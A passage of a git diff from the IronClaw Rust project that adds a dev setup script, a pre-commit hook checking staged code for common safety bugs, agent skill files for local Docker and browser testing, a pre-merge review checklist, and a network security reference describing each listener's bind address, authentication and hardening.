wasm32-wasip2 target..." +rustup target add wasm32-wasip2 + +# 3. Install wasm-tools (required by build.rs for WASM component model) +echo "[3/6] Installing wasm-tools..." +if command -v wasm-tools &>/dev/null; then + echo " wasm-tools already installed: $(wasm-tools --version)" +else + cargo install wasm-tools --locked +fi + +# 4. Verify the project compiles +echo "[4/6] Running cargo check..." +cargo check + +# 5. Run tests using libsql temp DB (no Docker/external DB needed) +echo "[5/6] Running tests (no external DB required)..." +cargo test + +# 6. Install git hooks +echo "[6/6] Installing git hooks..." +HOOKS_DIR=$(git rev-parse --git-path hooks 2>/dev/null) || true +if [ -n "$HOOKS_DIR" ]; then + mkdir -p "$HOOKS_DIR" + SCRIPTS_ABS="$(cd "$(dirname "$0")" && pwd)" + ln -sf "$SCRIPTS_ABS/commit-msg-regression.sh" "$HOOKS_DIR/commit-msg" + echo " commit-msg hook installed (regression test enforcement)" + ln -sf "$SCRIPTS_ABS/pre-commit-safety.sh" "$HOOKS_DIR/pre-commit" + echo " pre-commit hook installed (UTF-8, case-sensitivity, /tmp, redaction checks)" +else + echo " Skipped: not a git repository" +fi + +echo "" +echo "=== Setup complete ===" +echo "" +echo "Quick start:" +echo " cargo run # Run with default features" +echo " cargo test # Test suite (libsql temp DB)" +echo " cargo test --all-features # Full test suite" +echo " cargo clippy --all-features # Lint all code" diff --git a/scripts/pre-commit-safety.sh b/scripts/pre-commit-safety.sh new file mode 100755 index 00000000..3fddc3b8 --- /dev/null +++ b/scripts/pre-commit-safety.sh @@ -0,0 +1,136 @@ +#!/usr/bin/env bash +# Pre-commit safety checks for common issues caught by AI code reviewers. +# +# Can be run standalone: bash scripts/pre-commit-safety.sh +# Or installed as a git pre-commit hook via dev-setup.sh. +# +# Checks staged .rs files for: +# 1. Unsafe UTF-8 byte slicing (panics on multi-byte chars) +# 2. Case-sensitive file extension comparisons +# 3. Hardcoded /tmp paths in tests (flaky in parallel runs) +# 4. Tool parameters logged without redaction (secret leaks) +# 5. Multi-step DB operations without transaction wrapping +# +# Suppress individual lines with an inline "// safety: " comment. + +set -euo pipefail + +# Determine a suitable base ref for standalone diffs. +resolve_base_ref() { + local candidates=( + "@{upstream}" + "origin/HEAD" + "origin/main" + "origin/master" + "main" + "master" + ) + + for ref in "${candidates[@]}"; do + if git rev-parse --verify --quiet "$ref" >/dev/null 2>&1; then + echo "$ref" + return 0 + fi + done + + echo "pre-commit-safety: could not determine a base Git ref for diff (tried: ${candidates[*]})." >&2 + echo "pre-commit-safety: ensure your repository has an upstream or a local main/master branch." >&2 + exit 1 +} + +# Support both pre-commit hook (staged files) and standalone (all changed vs base) +if git diff --cached --quiet 2>/dev/null; then + # No staged changes -- compare working tree against a resolved base ref + BASE_REF="$(resolve_base_ref)" + DIFF_OUTPUT=$(git diff "$BASE_REF" -- '*.rs' 2>/dev/null || true) +else + DIFF_OUTPUT=$(git diff --cached -U0 -- '*.rs' 2>/dev/null || true) +fi + +# Early exit if there are no relevant .rs changes +if [ -z "$DIFF_OUTPUT" ]; then + exit 0 +fi + +WARNINGS=0 + +warn() { + if [ "$WARNINGS" -eq 0 ]; then + echo "" + echo "=== Pre-commit Safety Checks ===" + echo "" + fi + WARNINGS=$((WARNINGS + 1)) + echo " [$1] $2" +} + +# 1. Unsafe UTF-8 byte slicing: &s[..N] or &s[..some_var] on strings +# Safe patterns: is_char_boundary, char_indices, // safety: +if echo "$DIFF_OUTPUT" | grep -nE '^\+' | grep -E '\[\.\..*\]' | grep -vE 'is_char_boundary|char_indices|// safety:|as_bytes|Vec<|&\[u8\]|\[u8\]|bytes\(\)|&bytes' | head -3 | grep -q .; then + warn "UTF8" "Possible unsafe byte-index string slicing. Use is_char_boundary() or char_indices()." + echo "$DIFF_OUTPUT" | grep -nE '^\+' | grep -E '\[\.\..*\]' | grep -vE 'is_char_boundary|char_indices|// safety:|as_bytes|Vec<|&\[u8\]|\[u8\]|bytes\(\)|&bytes' | head -3 | sed 's/^/ /' +fi + +# 2. Case-sensitive file extension checks +# Match: .ends_with(".png") without prior to_lowercase +if echo "$DIFF_OUTPUT" | grep -nE '^\+.*ends_with\("\.([pP][nN][gG]|[jJ][pP][eE]?[gG]|[gG][iI][fF]|[wW][eE][bB][pP]|[mM][dD])"\)' | grep -vE 'to_lowercase|to_ascii_lowercase|// safety:' | head -3 | grep -q .; then + warn "CASE" "Case-sensitive file extension comparison. Normalize to lowercase first." + echo "$DIFF_OUTPUT" | grep -nE '^\+.*ends_with\("\.([pP][nN][gG]|[jJ][pP][eE]?[gG]|[gG][iI][fF]|[wW][eE][bB][pP]|[mM][dD])"\)' | grep -vE 'to_lowercase|to_ascii_lowercase|// safety:' | head -3 | sed 's/^/ /' +fi + +# 3. Hardcoded /tmp paths in test files +if echo "$DIFF_OUTPUT" | grep -nE '^\+.*"/tmp/' | grep -vE 'tempfile|tempdir|// safety:' | head -3 | grep -q .; then + warn "TMPDIR" "Hardcoded /tmp path. Use tempfile::tempdir() for parallel-safe tests." + echo "$DIFF_OUTPUT" | grep -nE '^\+.*"/tmp/' | grep -vE 'tempfile|tempdir|// safety:' | head -3 | sed 's/^/ /' +fi + +# 4. Logging tool parameters without redaction +if echo "$DIFF_OUTPUT" | grep -nE '^\+.*tracing::(info|debug|warn|error).*param' | grep -vE 'redact|// safety:' | head -3 | grep -q .; then + warn "REDACT" "Logging tool parameters without redaction. Use redact_params() first." + echo "$DIFF_OUTPUT" | grep -nE '^\+.*tracing::(info|debug|warn|error).*param' | grep -vE 'redact|// safety:' | head -3 | sed 's/^/ /' +fi + +# 5. Multi-step DB operations without transaction +# Uses -W (function context) to reduce false positives from existing transactions. +# Suppressible with "// safety:" in the hunk. +DIFF_W_OUTPUT=$(git diff --cached -W -- '*.rs' 2>/dev/null || git diff "$(resolve_base_ref)" -W -- '*.rs' 2>/dev/null || true) +if [ -n "$DIFF_W_OUTPUT" ]; then + HUNK_COUNT=$(echo "$DIFF_W_OUTPUT" | awk ' + /^@@/ { + if (count >= 2 && !has_tx && !has_safety) found++ + count=0; has_tx=0; has_safety=0 + } + /^\+.*\.(execute|query)\(/ { count++ } + /^\+.*(transaction|\.tx\.|\.begin\()/ { has_tx=1 } + / .*(transaction|\.tx\.|\.begin\()/ { has_tx=1 } + /\/\/ safety:/ { has_safety=1 } + END { + if (count >= 2 && !has_tx && !has_safety) found++ + print found+0 + } + ') + if [ "$HUNK_COUNT" -gt 0 ]; then + warn "TX" "Multiple DB operations in same function without transaction. Wrap in a transaction for atomicity." + echo "$DIFF_W_OUTPUT" | awk ' + /^@@/ { + if (count >= 2 && !has_tx && !has_safety) { print buf } + buf=""; count=0; has_tx=0; has_safety=0 + } + /^\+.*\.(execute|query)\(/ { count++ } + /^\+.*(transaction|\.tx\.|\.begin\()/ { has_tx=1 } + / .*(transaction|\.tx\.|\.begin\()/ { has_tx=1 } + /\/\/ safety:/ { has_safety=1 } + { buf = buf "\n" $0 } + END { + if (count >= 2 && !has_tx && !has_safety) { print buf } + } + ' | grep -E '^\+.*\.(execute|query)\(' | head -4 | sed 's/^/ /' + fi +fi + +if [ "$WARNINGS" -gt 0 ]; then + echo "" + echo "Found $WARNINGS potential issue(s). Fix them or add '// safety: ' to suppress." + echo "" + exit 1 +fi diff --git a/skills/local-test/SKILL.md b/skills/local-test/SKILL.md new file mode 100644 index 00000000..37224c5a --- /dev/null +++ b/skills/local-test/SKILL.md @@ -0,0 +1,225 @@ +--- +name: local-test +version: 0.1.0 +description: Build, run, and test IronClaw locally using Docker containers and Chrome MCP browser automation. +activation: + keywords: + - test locally + - local test + - docker test + - test my changes + - test in docker + - test web gateway + - spin up test + - test container + patterns: + - "test.*local" + - "docker.*test" + - "spin.*up.*test" + - "test.*changes.*docker" + max_context_tokens: 3000 +--- + +# Local Testing with Docker + Chrome MCP + +Use this skill to build, run, and test IronClaw web gateway changes locally using `Dockerfile.test` and Chrome MCP browser automation tools. + +## Quick Start + +```bash +# Build the test image (libsql-only, no PostgreSQL needed) +docker build --platform linux/amd64 -f Dockerfile.test -t ironclaw-test . + +# Run on port 3003 (default) +docker run --rm -p 3003:3003 \ + -e ONBOARD_COMPLETED=true \ + -e CLI_ENABLED=false \ + -e NEARAI_API_KEY= \ + ironclaw-test + +# Open in browser +# http://localhost:3003/?token=test +``` + +## Building the Image + +The test Dockerfile uses a two-stage build: Rust compilation with `--features libsql` (no PostgreSQL dependency), then a minimal Debian runtime image. + +```bash +docker build --platform linux/amd64 -f Dockerfile.test -t ironclaw-test . +``` + +Build takes ~5-10 minutes on first run (cached subsequent builds are faster). The `--platform linux/amd64` flag avoids QEMU warnings on Apple Silicon but can be omitted if targeting native architecture. + +## Running Containers + +### Required Environment Variables + +| Variable | Purpose | Default in Dockerfile | +|----------|---------|----------------------| +| `ONBOARD_COMPLETED=true` | Skip onboarding wizard (exits immediately otherwise) | not set | +| `CLI_ENABLED=false` | Disable TUI/REPL (causes EOF shutdown otherwise) | not set | + +### LLM Backend Configuration + +Pick ONE of these configurations: + +**NEAR AI (API key mode):** +```bash +docker run --rm -p 3003:3003 \ + -e ONBOARD_COMPLETED=true \ + -e CLI_ENABLED=false \ + -e NEARAI_API_KEY= \ + ironclaw-test +``` + +**NEAR AI (session token mode):** +```bash +docker run --rm -p 3003:3003 \ + -e ONBOARD_COMPLETED=true \ + -e CLI_ENABLED=false \ + -e NEARAI_SESSION_TOKEN= \ + -e NEARAI_BASE_URL=https://private.near.ai \ + ironclaw-test +``` + +**OpenAI:** +```bash +docker run --rm -p 3003:3003 \ + -e ONBOARD_COMPLETED=true \ + -e CLI_ENABLED=false \ + -e LLM_BACKEND=openai \ + -e OPENAI_API_KEY= \ + ironclaw-test +``` + +**Anthropic:** +```bash +docker run --rm -p 3003:3003 \ + -e ONBOARD_COMPLETED=true \ + -e CLI_ENABLED=false \ + -e LLM_BACKEND=anthropic \ + -e ANTHROPIC_API_KEY= \ + ironclaw-test +``` + +**Dummy run (no LLM, just test the UI loads):** +```bash +docker run --rm -p 3003:3003 \ + -e ONBOARD_COMPLETED=true \ + -e CLI_ENABLED=false \ + -e NEARAI_API_KEY=dummy \ + ironclaw-test +``` + +### Common Overrides + +| Variable | Purpose | Example | +|----------|---------|---------| +| `GATEWAY_PORT` | Change the listen port | `3003` (default) | +| `GATEWAY_AUTH_TOKEN` | Auth token for API | `test` (default) | +| `NEARAI_MODEL` | Override LLM model | `claude-3-5-sonnet-20241022` | +| `RUST_LOG` | Logging verbosity | `ironclaw=debug` | +| `ROUTINES_ENABLED` | Enable routines | `true`/`false` | +| `SKILLS_ENABLED` | Enable skills system | `true` (default) | + +### Multi-Instance Testing + +Run multiple containers on different host ports: + +```bash +docker run --rm -d --name ic-test-a -p 3003:3003 -e ONBOARD_COMPLETED=true -e CLI_ENABLED=false -e NEARAI_API_KEY=dummy ironclaw-test +docker run --rm -d --name ic-test-b -p 3004:3003 -e ONBOARD_COMPLETED=true -e CLI_ENABLED=false -e NEARAI_API_KEY=dummy ironclaw-test +``` + +## Chrome MCP Testing Workflow + +Use the Claude for Chrome browser automation tools to test the web UI. + +### Step 1: Get Browser Context + +``` +mcp__claude-in-chrome__tabs_context_mcp +``` + +Always start here to see current tabs and get fresh tab IDs. + +### Step 2: Open the Gateway + +``` +mcp__claude-in-chrome__tabs_create_mcp url=http://localhost:3003/?token=test +``` + +### Step 3: Verify the Page + +``` +mcp__claude-in-chrome__read_page +``` + +Check for: +- "Connected" indicator in top-right +- All tabs visible: Chat, Memory, Jobs, Routines, Extensions, Skills + +### Step 4: Take Screenshots + +``` +mcp__claude-in-chrome__computer action=screenshot +``` + +### Step 5: Test Mobile Viewport + +``` +mcp__claude-in-chrome__resize_window width=375 height=812 +mcp__claude-in-chrome__computer action=screenshot +``` + +Reset to desktop: +``` +mcp__claude-in-chrome__resize_window width=1280 height=800 +``` + +### Step 6: Run JavaScript Checks + +``` +mcp__claude-in-chrome__javascript_tool script="document.querySelector('.connection-status')?.textContent" +``` + +### Step 7: Test Interactions + +Click tabs, send messages, search skills — use `computer` tool with `action=click` and coordinate-based clicks, or use `find` + `form_input` for text entry. + +## Cleanup + +```bash +# Stop a specific container +docker stop ic-test-a + +# Stop all test containers +docker ps --filter ancestor=ironclaw-test -q | xargs -r docker stop + +# Remove the test image +docker rmi ironclaw-test +``` + +## Troubleshooting + +### Container exits immediately +- **Missing `ONBOARD_COMPLETED=true`**: The onboarding wizard tries to read stdin, gets EOF, and exits. +- **Missing `CLI_ENABLED=false`**: The REPL channel reads stdin, gets EOF, and shuts down the agent. + +### "Model not found" or LLM errors +- Check that your API key/token is valid and the model name is correct. +- For NEAR AI session token mode, you also need `NEARAI_BASE_URL=https://private.near.ai`. + +### Platform mismatch warnings on Apple Silicon +- The `--platform linux/amd64` flag causes QEMU emulation warnings — these are harmless. +- Alternatively, omit the flag and build natively if your dependencies support ARM64. + +### Port already in use +- The dev server defaults to port 3001; the test Dockerfile defaults to 3003 to avoid conflicts. +- Use a different host port: `-p 3005:3003`. + +### Cannot connect from browser +- Verify `GATEWAY_HOST=0.0.0.0` (set by default in Dockerfile). +- Check the container logs: `docker logs `. +- Make sure you include the token query param: `?token=test`. diff --git a/skills/review-checklist/SKILL.md b/skills/review-checklist/SKILL.md new file mode 100644 index 00000000..feafd52f --- /dev/null +++ b/skills/review-checklist/SKILL.md @@ -0,0 +1,54 @@ +--- +name: review-checklist +version: 0.1.0 +description: Pre-merge review checklist based on recurring AI reviewer feedback patterns +activation: + patterns: + - "review.*checklist" + - "ready to merge" + - "pre-merge check" + - "check.*before.*merge" + keywords: + - review + - checklist + - merge + - pre-merge + max_context_tokens: 1500 +--- + +# Pre-Merge Review Checklist + +Before merging, verify these items. They represent the most common issues caught by automated code reviewers (Copilot, Gemini) on IronClaw PRs. + +## Database Operations +- [ ] Multi-step DB operations are wrapped in transactions (INSERT+INSERT, UPDATE+DELETE, read-modify-write) +- [ ] Both postgres AND libsql backends updated for any new Database trait methods +- [ ] Migrations are atomic (SQL execution + version recording in same transaction) + +## Security & Data Safety +- [ ] Tool parameters are redacted via `redact_params()` before logging or SSE/WebSocket broadcast +- [ ] URL validation resolves DNS before checking for private/loopback IPs (anti-SSRF via DNS rebinding) +- [ ] Destructive tools have `requires_approval()` returning `Always` or `UnlessAutoApproved` +- [ ] Data from worker containers is treated as untrusted (tool domain checks, server-side nesting depth) +- [ ] No secrets or credentials in error messages, logs, or SSE events + +## String Safety +- [ ] No byte-index slicing (`&s[..n]`) on external/user strings -- use `is_char_boundary()` or `char_indices()` +- [ ] File extension and media type comparisons are case-insensitive (`.to_ascii_lowercase()` before matching) +- [ ] Path comparisons are case-insensitive where needed (macOS/Windows filesystems) + +## Trait Wrappers & Decorator Chain +- [ ] New `LlmProvider` trait methods are delegated in ALL wrapper types (grep `impl LlmProvider for`) +- [ ] New trait methods are tested through the full decorator/provider chain, not just the base impl +- [ ] Default trait method implementations are intentional -- wrappers that silently return defaults are bugs + +## Tests +- [ ] Temporary files/dirs use `tempfile` crate, no hardcoded `/tmp/` paths +- [ ] Tests don't mutate global statics without synchronization (use per-test state or `serial_test`) +- [ ] Tests don't make real network requests (use mocks, stubs, or RFC 5737 TEST-NET IPs like 192.0.2.1) +- [ ] Test names and comments match actual test behavior and assertions + +## Comments & Documentation +- [ ] Code comments match actual behavior (especially route paths, tool names, function semantics) +- [ ] Spec/README files updated if module behavior changed +- [ ] Error messages are clear and non-redundant (don't nest tool name inside tool error that already contains it) diff --git a/skills/web-ui-test/SKILL.md b/skills/web-ui-test/SKILL.md new file mode 100644 index 00000000..4ebde0e5 --- /dev/null +++ b/skills/web-ui-test/SKILL.md @@ -0,0 +1,106 @@ +--- +name: web-ui-test +version: 0.1.0 +description: Test the IronClaw web UI using the Claude for Chrome browser extension. +activation: + keywords: + - test web ui + - test the ui + - browser test + - chrome test + - test skills tab + - test chat + - web gateway test + patterns: + - "test.*web.*ui" + - "test.*browser" + - "chrome.*extension.*test" +--- + +# Web UI Testing with Claude for Chrome + +Use this skill when manually testing the IronClaw web gateway UI via the Claude for Chrome browser extension. + +## Prerequisites + +- IronClaw must be running with `GATEWAY_ENABLED=true` +- Note the gateway URL (default: `http://127.0.0.1:3000/`) and auth token +- The Claude for Chrome extension must be installed and connected + +## Starting the Server + +```bash +CLI_ENABLED=false GATEWAY_AUTH_TOKEN= cargo run +``` + +Wait for "Agent ironclaw ready and listening" in the logs before proceeding. + +## Test Checklist + +### 1. Connection + +- Navigate to `http://127.0.0.1:3000/?token=` +- Verify "Connected" indicator in the top-right corner +- Verify all tabs are visible: Chat, Memory, Jobs, Routines, Extensions, Skills + +### 2. Chat Tab + +- Send a simple message (e.g., "Hello, what tools do you have?") +- Verify the LLM responds without errors +- If you see "Invalid schema for function" errors, the tool schema fix (PR #301) may not be merged yet + +### 3. Skills Tab + +- Click the Skills tab +- Verify "No skills installed" or a list of installed skills (no "Skills system not enabled" error) +- Search for "markdown" in the ClawHub search box +- Verify results appear with: name, version, description, relevance score, "updated X ago" +- Verify skill names are clickable links to clawhub.ai +- If search returns empty with a yellow warning banner, the registry may be unreachable + +### 4. Skill Install (from search) + +- Search for a skill (e.g., "markdown") +- Click "Install" on a result +- Confirm the install dialog +- Verify success toast appears +- Verify the skill appears in "Installed Skills" section + +### 5. Skill Install (by URL) + +- Scroll to "Install Skill by URL" +- Enter a skill name and a ClawHub download URL: + - Name: `markdown-viewer` + - URL: `https://wry-manatee-359.convex.site/api/v1/download?slug=markdown-viewer` +- Click Install +- Verify success toast and skill appears in installed list + +### 6. Skill Remove + +- Find an installed skill +- Click "Remove" +- Confirm removal +- Verify the skill disappears from the installed list + +### 7. Other Tabs (smoke test) + +- **Memory**: Should show the memory filesystem (may be empty) +- **Jobs**: Should show job list (may be empty) +- **Routines**: Should show routine list +- **Extensions**: Should show extension list with install options + +## Cleanup + +After testing, remove any test-installed skills: + +```bash +rm -rf ~/.ironclaw/installed_skills/ +``` + +Stop the server with Ctrl+C or by killing the process. + +## Known Issues + +- ClawHub registry at `clawhub.ai` is behind Vercel which blocks non-browser TLS fingerprints; the backend uses `wry-manatee-359.convex.site` directly +- Skill downloads are ZIP archives containing SKILL.md, not raw text +- The `confirm()` dialog for install may block browser automation; override with `window.confirm = () => true` in the console first diff --git a/src/NETWORK_SECURITY.md b/src/NETWORK_SECURITY.md new file mode 100644 index 00000000..94611a0f --- /dev/null +++ b/src/NETWORK_SECURITY.md @@ -0,0 +1,566 @@ +# IronClaw Network Security Reference + +This document catalogs every network-facing surface in IronClaw, its authentication mechanism, bind address, security controls, and known findings. Use this as the authoritative reference during code reviews that touch network-facing code. + +**Last updated:** 2026-02-18 + +--- + +## Threat Model + +IronClaw operates across four trust boundaries: + +| Boundary | Trust Level | Examples | +|----------|------------|---------| +| **Local user** | Fully trusted | TUI, web gateway (loopback), CLI commands | +| **Browser client** | Authenticated | Web UI connected via bearer token; subject to CORS, Origin validation, CSRF protections | +| **Docker containers** | Untrusted (sandboxed) | Worker containers executing user jobs; isolated via per-job tokens, allowlisted egress, dropped capabilities | +| **External services** | Untrusted | Webhook senders (Telegram, Slack); authenticated via shared secret | + +**Key assumptions:** + +- The local machine is single-user. The web gateway and OAuth listener bind to loopback and do not defend against other local users. +- Docker containers are adversarial. A compromised container should not be able to access other jobs, exfiltrate secrets, or reach the host network beyond the orchestrator API. +- Webhook senders must prove knowledge of the shared secret. The secret is never transmitted in the clear by IronClaw itself. +- MCP server URLs are operator-configured and treated as trusted destinations (see [MCP Client](#mcp-client)). + +--- + +## Network Surface Inventory + +| Listener | Default Port | Default Bind | Auth Mechanism | Config Env Var | Source | +|----------|-------------|-------------|----------------|----------------|--------| +| Web Gateway | 3000 | `127.0.0.1` | Bearer token (constant-time) | `GATEWAY_HOST`, `GATEWAY_PORT`, `GATEWAY_AUTH_TOKEN` | `server.rs` — `start_server()` | +| HTTP Webhook Server | 8080 | `0.0.0.0` | Shared secret (body field) | `HTTP_HOST`, `HTTP_PORT`, `HTTP_WEBHOOK_SECRET` | `webhook_server.rs` — `start()` | +| Orchestrator Internal API | 50051 | `127.0.0.1` (macOS/Win) / `0.0.0.0` (Linux) | Per-job bearer token (constant-time) | `ORCHESTRATOR_PORT` | `api.rs` — `OrchestratorApi::start()` | +| OAuth Callback Listener | 9876 | `127.0.0.1` | None (ephemeral, 5-min timeout) | N/A (hardcoded) | `oauth_defaults.rs` — `bind_callback_listener()` | +| Sandbox HTTP Proxy | OS-assigned (ephemeral) | `127.0.0.1` | None (loopback only) | N/A (auto-assigned) | `proxy/http.rs` — `SandboxProxy::start()` | + +--- + +## 1. Web Gateway + +**Source:** `src/channels/web/server.rs`, `src/channels/web/auth.rs` + +### Bind Address + +Configurable via `GATEWAY_HOST` (default `127.0.0.1`) and `GATEWAY_PORT` (default `3000`). The gateway is designed as a local-first, single-user service. + +**Reference:** `src/config.rs` — `gateway_host` default (`"127.0.0.1"`), `gateway_port` default (`3000`) + +### Authentication + +Bearer token middleware applied to all `/api/*` routes via `route_layer`. Token checked in two locations: + +1. `Authorization: Bearer ` header (primary) +2. `?token=` query parameter (fallback for SSE `EventSource` which cannot set headers) + +Both paths use **constant-time comparison** via `subtle::ConstantTimeEq` (`ct_eq`). + +**Reference:** `src/channels/web/auth.rs` — `auth_middleware()`, header check and query-param fallback both use `ct_eq` + +If `GATEWAY_AUTH_TOKEN` is not set, a random hex token is generated at startup. + +### Unauthenticated Routes + +| Route | Purpose | Response | +|-------|---------|----------| +| `/api/health` | Health check endpoint | `{"status":"healthy","channel":"gateway"}` — no version, uptime, or fingerprinting data | +| `/` | Static HTML (embedded) | Single-page app shell | +| `/style.css` | Static CSS (embedded) | Stylesheet | +| `/app.js` | Static JS (embedded) | Client-side app | + +### CORS Policy + +Restricted to a two-origin allowlist (not browser same-origin policy, but a CORS allowlist that achieves equivalent protection): + +- `http://:` +- `http://localhost:` + +Allowed methods: `GET`, `POST`, `PUT`, `DELETE`. Allowed headers: `Content-Type`, `Authorization`. Credentials allowed. + +**Reference:** `src/channels/web/server.rs` — `CorsLayer::new()` block + +### WebSocket Origin Validation + +The `/api/chat/ws` endpoint has two layers of protection: + +1. **Bearer token auth** — the route is inside the `protected` router with `route_layer`, so `auth_middleware` runs before the handler. The token is passed via the `Authorization: Bearer` header on the HTTP upgrade request (not via query parameter). + +2. **Origin header validation** (inside the handler) as a defense-in-depth guard against cross-site WebSocket hijacking (CSWSH): + - Origin header is **required** — missing Origin returns 403 (browsers always send it for WS upgrades; absence implies a non-browser client) + - Origin host is extracted by stripping scheme and port, then compared **exactly** against `localhost`, `127.0.0.1`, and `[::1]` + - Partial matches like `localhost.evil.com` are rejected because the check extracts the host portion before the first `:` or `/` + +**Reference:** `src/channels/web/server.rs` — `chat_ws_handler()` (origin validation block) + +### Rate Limiting + +Chat endpoint (`/api/chat/send`) enforces a sliding-window rate limit: **30 requests per 60 seconds** (global, not per-IP — single-user gateway). + +**Reference:** `src/channels/web/server.rs` — `RateLimiter` struct, `chat_rate_limiter` field + +### Body Limits + +- Global: **1 MB** max request body (`DefaultBodyLimit::max(1024 * 1024)`) +- **Reference:** `src/channels/web/server.rs` — `.layer(DefaultBodyLimit::max(...))` + +### Project File Serving + +The `/projects/{project_id}/*` routes serve files from project directories. These are **behind auth middleware** to prevent unauthorized file access. + +**Reference:** `src/channels/web/server.rs` — project file routes in `protected` router + +### Security Headers + +The gateway sets the following security headers on all responses (via `SetResponseHeaderLayer::if_not_present`, so handlers can override): + +- `X-Content-Type-Options: nosniff` — prevents MIME-sniffing +- `X-Frame-Options: DENY` — prevents clickjacking via iframes + +**Reference:** `src/channels/web/server.rs` — `SetResponseHeaderLayer` calls + +### Graceful Shutdown + +Shutdown is triggered via a `oneshot::Sender` stored in `GatewayState::shutdown_tx`. The server uses `axum::serve(...).with_graceful_shutdown(...)` to drain in-flight requests before closing the listener. + +**Reference:** `src/channels/web/server.rs` — `shutdown_tx` / `shutdown_rx` setup + +--- + +## 2. HTTP Webhook Server + +**Source:** `src/channels/webhook_server.rs`, `src/channels/http.rs` + +### Bind Address + +Configurable via `HTTP_HOST` (default `0.0.0.0`) and `HTTP_PORT` (default `8080`). + +**WARNING:** The default bind address is `0.0.0.0`, meaning the webhook server listens on **all interfaces** by default. This is intentional (webhooks must be reachable from external services like Telegram/Slack), but operators should be aware of the exposure. + +**Reference:** `src/config.rs` — `http_host` default (`"0.0.0.0"`), `http_port` default (`8080`) + +### Authentication + +Webhook secret is passed **in the JSON request body** (`secret` field), not as a header. The secret is compared using **constant-time** `subtle::ConstantTimeEq` (`ct_eq`). + +The secret is required to start the channel — if `HTTP_WEBHOOK_SECRET` is not set, `start()` returns an error. + +**CSRF note:** Because the secret is in the JSON body (not a cookie or header that browsers auto-attach), a cross-origin form POST cannot forge a valid request. Browsers would send `application/x-www-form-urlencoded`, which the `Json` extractor rejects with HTTP 415. Even if `Content-Type` were spoofed via CORS preflight, the attacker would need the secret value, which is never stored in the browser. + +**Reference:** `src/channels/http.rs` — `webhook_handler()` (secret validation with `ct_eq`), `start()` (required-secret check) + +### Content-Type Validation + +The webhook endpoint uses axum's `Json` extractor, which enforces `Content-Type: application/json`. Requests with missing or incorrect Content-Type are rejected with **HTTP 415 Unsupported Media Type** before the handler body executes. Malformed JSON bodies are rejected with **HTTP 422 Unprocessable Entity**. + +**Reference:** `src/channels/http.rs` — `webhook_handler()` function signature (`Json(req): Json`) + +### Rate Limiting + +**60 requests per minute**, enforced via a mutex-protected sliding window. + +**Reference:** `src/channels/http.rs` — `MAX_REQUESTS_PER_MINUTE` constant, rate-limit check in `webhook_handler()` + +### Body Limits + +- JSON body: **64 KB** max (`MAX_BODY_BYTES`) +- Message content: **32 KB** max (`MAX_CONTENT_BYTES`) +- Pending synchronous responses: **100 max** (`MAX_PENDING_RESPONSES`) +- Synchronous response timeout: **60 seconds** + +**Reference:** `src/channels/http.rs` — constants block (`MAX_BODY_BYTES`, `MAX_CONTENT_BYTES`, `MAX_PENDING_RESPONSES`, `MAX_REQUESTS_PER_MINUTE`) + +### Routes + +| Route | Auth | Purpose | Response | +|-------|------|---------|----------| +| `/health` | None | Health check | `{"status":"healthy","channel":"http"}` — no fingerprinting data | +| `/webhook` | Webhook secret | Receive messages | Webhook response | + +### Graceful Shutdown + +Shutdown is triggered via a `oneshot::Sender` stored on the `WebhookServer` struct. The server uses `axum::serve(...).with_graceful_shutdown(...)`. The public `shutdown()` method sends the signal and awaits the task join handle, ensuring a clean drain-and-wait. + +**Reference:** `src/channels/webhook_server.rs` — `shutdown()` method + +--- + +## 3. Orchestrator Internal API + +**Source:** `src/orchestrator/api.rs`, `src/orchestrator/auth.rs` + +### Bind Address + +Platform-dependent: + +- **macOS / Windows**: `127.0.0.1:` — Docker Desktop routes `host.docker.internal` through its VM to `127.0.0.1` +- **Linux**: `0.0.0.0:` — containers reach the host via the Docker bridge gateway (`172.17.0.1`), which is not loopback + +Default port: `50051`. + +**Reference:** `src/orchestrator/api.rs` — `OrchestratorApi::start()`, platform-conditional bind address block + +### Authentication + +Per-job bearer tokens validated by `worker_auth_middleware`: + +1. Tokens are **cryptographically random** (32 bytes, hex-encoded = 64 chars) +2. Tokens are **scoped to a specific job_id** — a token for job A cannot access endpoints for job B +3. Comparison uses **constant-time** `subtle::ConstantTimeEq` +4. Tokens are **ephemeral** (in-memory only, never persisted to disk or DB) +5. Tokens and associated credential grants are **revoked** when the container is cleaned up + +**Reference:** `src/orchestrator/auth.rs` — `TokenStore::create_token()`, `TokenStore::validate()`, `generate_token()` + +### Token Extraction + +The middleware extracts the job UUID from the URL path (`/worker/{job_id}/...`) and validates the `Authorization: Bearer` header against the stored token for that specific job. + +**Reference:** `src/orchestrator/auth.rs` — `worker_auth_middleware()`, `extract_job_id_from_path()` + +### Credential Grants + +The orchestrator can grant per-job access to specific secrets from the encrypted secrets store. Grants are: + +- Stored alongside the token in the `TokenStore` +- Scoped to specific `(secret_name, env_var)` pairs +- Revoked when the job token is revoked +- Decrypted on-demand when the worker requests `/worker/{job_id}/credentials` + +**Reference:** `src/orchestrator/auth.rs` — `CredentialGrant` struct, `src/orchestrator/api.rs` — `get_credentials_handler()` + +### Rate Limiting + +**None.** The orchestrator API has no rate limiting. All `/worker/*` endpoints are authenticated via per-job bearer tokens, but a compromised container could spam authenticated endpoints without throttling. + +**Mitigation:** Tokens are scoped per-job so a compromised container can only abuse its own job's endpoints. Container execution is time-bounded (see [Docker Container Security](#docker-container-security)), which limits the window for abuse. + +### Routes + +| Route | Auth | Purpose | Response | +|-------|------|---------|----------| +| `/health` | None | Health check | `"ok"` (plain text) — no fingerprinting data | +| `/worker/{job_id}/job` | Per-job token | Get job description | Job JSON | +| `/worker/{job_id}/llm/complete` | Per-job token | Proxy LLM completion | LLM response | +| `/worker/{job_id}/llm/complete_with_tools` | Per-job token | Proxy LLM tool completion | LLM response | +| `/worker/{job_id}/status` | Per-job token | Report worker status | Ack | +| `/worker/{job_id}/complete` | Per-job token | Report job completion | Ack | +| `/worker/{job_id}/event` | Per-job token | Send job events (SSE broadcast) | Ack | +| `/worker/{job_id}/prompt` | Per-job token | Poll for follow-up prompts | Prompt or empty | +| `/worker/{job_id}/credentials` | Per-job token | Retrieve decrypted credentials | Credentials JSON | + +### Graceful Shutdown + +**None.** The orchestrator calls `axum::serve(listener, router).await?` without `.with_graceful_shutdown()`. The server stops only when the task is dropped (process exit or tokio task cancellation). In-flight requests may be interrupted. + +**Reference:** `src/orchestrator/api.rs` — `OrchestratorApi::start()` + +--- + +## 4. OAuth Callback Listener + +**Source:** `src/cli/oauth_defaults.rs` + +### Bind Address + +Always binds to **loopback only**: `127.0.0.1:9876`. Falls back to `[::1]:9876` (IPv6 loopback) if IPv4 